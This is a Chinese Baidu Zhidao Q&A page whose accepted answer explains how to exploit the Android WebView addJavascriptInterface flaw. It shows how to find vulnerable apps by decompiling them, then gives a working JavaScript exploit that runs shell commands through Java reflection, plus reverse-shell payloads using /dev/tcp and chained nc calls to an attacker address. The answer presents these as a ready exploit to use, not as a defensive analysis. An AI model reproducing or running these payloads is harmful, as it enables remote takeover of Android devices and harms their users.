如何 利用 android webview 漏洞 获取

 我来答
huanglenzhi
推荐于2016-03-18 · 知道合伙人数码行家
huanglenzhi
知道合伙人数码行家
采纳数:117538 获赞数:517195
长期从事计算机组装,维护,网络组建及管理。对计算机硬件、操作系统安装、典型网络设备具有详细认知。

向TA提问 私信TA
展开全部
  在android的sdk中封装了webView控件。这个控件主要用开控制的网页浏览。在程序中装载webView控件,可以设置属性(颜色,字体等)。类似PC下directUI的功能。在webView 下有一个非常特殊的接口函数addJavascriptInterface。能实现本地java和js的交互。利用addJavascriptInterface这个接口函数可实现穿透webkit控制android 本机。
  
  0x01 检测利用
  一般使用html 来设计应用页面的几乎不可避免的使用到addJavascriptInterface,包含不限于android浏览器。
  在android 代码程序一般是这样使用:

  
  settings.setJavaScriptEnabled(true);
  settings.setJavaScriptCanOpenWindowsAutomatically(true);
  mWebView.addJavascriptInterface(new JSInvokeClass(), "js2java");
  

  这里可以用
  apk->zip->dex->dex2jar->jdgui->java

  代码来查找。
  但建议用apktool 反编译smali(毕竟不是所有apk都能反编译成java代码)
  在smali代码中 则是类似下列的代码:
  const-string v0, " js2java "
invoke-virtual {p1, v1, v0},Lcom/tiantianmini/android/browser/module/ac;->addJavascriptInterface(Ljava/lang/Object;Ljava/lang/String;)V

  当检测到存在上述代码时,可以进行进一步验证利用:
  在11年,已经有人利用addJavascriptInterface进行文件读写,并放出简单的poc,到12年出现了简单的执行代码的exp。利用的是反射回调java类的内置静态变量。如下列的利用代码;
  <script>
function execute(cmdArgs)
{
return js2java.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
}

</script>

  利用java的exec执行linux的shell命令。
  0x02 远程获取shell
  套用yuange的一句话:Poc远远小于exp的价值。
  利用addJavascriptInterface实现shell.
  Android内部的armlinux 是没有busybox 的,一些常规弹shell的方法被限制。
  使用了java的反弹shell方法
  //execute(["/system/bin/sh","-c","exec 5<>/dev/tcp/192.168.1.9/8088;cat <&5 | while read line; do $line 2>&5 >&5; done"]);

  在Nexus One 4.3的android虚拟机 并未成功弹出shell.
  后发现android中可执行 nc命令 (阉割版的不带-e的nc)
  这里用了nc的另外一种弹shell的方法完成
  Exp 内容:

  
  <script>
  function execute(cmdArgs)
  {
  return XXX.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
  }
  execute(["/system/bin/sh","-c","nc 192.168.1.9 8088|/system/bin/sh|nc 192.168.1.9 9999"]);
  alert("ok3");
  </script>
  

  // 注 xxx 保护隐私用xx代指。
本回答被提问者和网友采纳
已赞过 已踩过<
你对这个回答的评价是?
评论 收起
推荐律师服务: 若未解决您的问题,请您详细描述您的问题,通过百度律临进行免费专业咨询

为你推荐:

下载百度知道APP,抢鲜体验
使用百度知道APP,立即抢鲜体验。你的手机镜头里或许有别人想知道的答案。
扫描二维码下载
×

类别

我们会通过消息、邮箱等方式尽快将举报结果通知您。

说明

0/200

提交
取消

辅 助

模 式